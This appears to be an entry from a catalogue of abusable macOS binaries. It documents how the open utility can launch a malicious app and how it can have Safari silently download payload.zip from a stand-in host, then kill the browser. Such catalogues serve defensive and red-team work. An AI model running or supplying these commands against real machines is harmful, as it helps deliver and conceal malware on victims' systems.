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open

The open command-line utility can be used to open files, folders, app, URLs or header files in their associate macOS app.

Author: Brendan Chamberlain (@infosecB) Created: 2023-05-10
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Paths

/usr/bin/open

Example Use Cases

Open a malicious file

The open command can be used to open a malicious macOS app from the terminal.

open Malicious.app
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Download a malicious file

The following command downloads the payload.zip file in the default browser (Safari) and then kills it.

open -g https://mypayload.io/payload.zip; sleep 3; killall Safari
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